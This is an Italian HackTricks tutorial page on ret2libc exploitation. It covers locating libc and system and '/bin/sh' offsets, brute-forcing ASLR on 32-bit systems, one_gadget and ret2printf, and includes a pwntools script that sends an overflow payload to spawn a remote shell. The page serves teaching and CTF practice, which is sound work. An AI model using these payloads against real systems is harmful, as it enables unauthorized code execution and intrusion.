Ret2lib
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Informazioni di base
L’essenza di Ret2Libc è reindirizzare il flusso di esecuzione di un programma vulnerabile verso una funzione all’interno di una shared library (es., system, execve, strcpy) invece di eseguire shellcode fornito dall’attaccante sullo stack. L’attaccante crea un payload che modifica l’indirizzo di ritorno sullo stack per puntare alla funzione della libreria desiderata, predisponendo inoltre gli argomenti necessari in modo conforme alla calling convention.
Passaggi di esempio (semplificati)
- Ottenere l’indirizzo della funzione da chiamare (es. system) e il comando da eseguire (es. /bin/sh)
- Generare una ROP chain per impostare il primo argomento puntando alla stringa del comando e dirigere il flusso di esecuzione verso la funzione
Trovare gli indirizzi
- Supponendo che la
libcusata sia quella della macchina corrente, puoi trovare dove verrà caricata in memoria con:
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
Se vuoi verificare se l’ASLR sta cambiando l’indirizzo di libc, puoi fare:
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
- Sapendo quale libc è in uso, è anche possibile trovare l’offset della funzione
systemcon:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
- Sapendo quale libc viene usata, è anche possibile trovare l’offset della stringa
/bin/shnella function con:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
Using gdb-peda / GEF
Conoscendo la libc usata, è anche possibile usare Peda o GEF per ottenere l’indirizzo della funzione system, della funzione exit e della stringa /bin/sh :
p system
p exit
find "/bin/sh"
Usare /proc/<PID>/maps
Se il processo crea dei processi figli ogni volta che interagisci con esso (network server) prova a leggere quel file (probabilmente avrai bisogno dei privilegi di root).
Here you can find exactly where is the libc loaded inside the process and where is going to be loaded for every children of the process.
.png)
In questo caso è caricata in 0xb75dc000 (Questo sarà l’indirizzo base della libc)
libc sconosciuta
Potrebbe essere possibile che tu non conosca la libc che il binary sta caricando (perché potrebbe trovarsi su un server a cui non hai accesso). In questo caso potresti abusare della vulnerabilità per leak alcuni indirizzi e scoprire quale libc viene utilizzata:
E puoi trovare un template pwntools per questo in:
Conoscere la libc con 2 offset
Controlla la pagina https://libc.blukat.me/ e usa una coppia di indirizzi di funzioni dentro la libc per scoprire la versione utilizzata.
Bypass dell’ASLR su sistemi a 32 bit
Questi attacchi di brute-forcing sono utile solo per sistemi a 32 bit.
- Se l’exploit è locale, puoi provare a fare brute-force sull’indirizzo base della libc (utile per sistemi a 32 bit):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Se stai attaccando un server remoto, puoi provare a brute-force l’indirizzo della funzione
libcusleep, passando come argomento 10 (per esempio). Se ad un certo punto il server impiega 10s in più per rispondere, hai trovato l’indirizzo di questa funzione.
One Gadget
Esegue una shell semplicemente saltando a un unico specifico indirizzo in libc:
Esempio di codice x86 Ret2lib
In questo esempio l’ASLR brute-force è integrato nel codice e il binary vulnerabile si trova su un server remoto:
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline()
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
Esempio di codice x64 Ret2lib
Check the example from:
Esempio ARM64 Ret2lib
Nel caso di ARM64, l’istruzione ret salta dove punta il registro x30 e non dove punta il registro dello stack. Quindi è un po’ più complicato.
Inoltre, in ARM64 un’istruzione fa quello che fa (non è possibile saltare nel mezzo di un’istruzione e trasformarla in una nuova).
Check the example from:
Ret-into-printf (or puts)
Questo permette di leak informazioni dal processo chiamando printf/puts con alcuni dati specifici passati come argomento. Per esempio, mettere l’indirizzo di puts nella GOT in una chiamata a puts farà leak dell’indirizzo di puts in memoria.
Ret2printf
Questo significa fondamentalmente abusare di una Ret2lib per trasformarla in una vulnerabilità di format strings di printf usando il ret2lib per chiamare printf con i valori per sfruttarla (sembra inutile ma è possibile):
Altri esempi e riferimenti
- https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
- Ret2lib, dato un leak dell’indirizzo di una funzione in libc, usando one gadget
- https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
- 64 bit, ASLR enabled but no PIE, il primo passo è riempire un overflow fino al byte 0x00 del canary per poi chiamare puts e ottenere il leak. Con il canary viene creato un gadget ROP per chiamare puts e ottenere il leak dell’indirizzo di puts dalla GOT e poi un gadget ROP per chiamare
system('/bin/sh') - https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
- 64 bits, ASLR enabled, no canary, stack overflow in main da una funzione figlia. Gadget ROP per chiamare puts per ottenere il leak dell’indirizzo di puts dalla GOT e poi chiamare un one gadget.
- https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html
- 64 bits, no pie, no canary, no relro, nx. Usa la funzione write per ottenere il leak dell’indirizzo di write (libc) e chiama un one gadget.
- https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html
- Usa una format string per ottenere il leak del canary dallo stack e un buffer overflow per chiamare system (è nella GOT) con l’indirizzo di
/bin/sh. - https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html
- 32 bit, no relro, no canary, nx, pie. Sfrutta un indicizzamento errato per ottenere il leak degli indirizzi di libc e heap dallo stack. Sfrutta il buffer overflow per fare un ret2lib chiamando
system('/bin/sh')(l’indirizzo heap è necessario per bypassare un controllo).
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


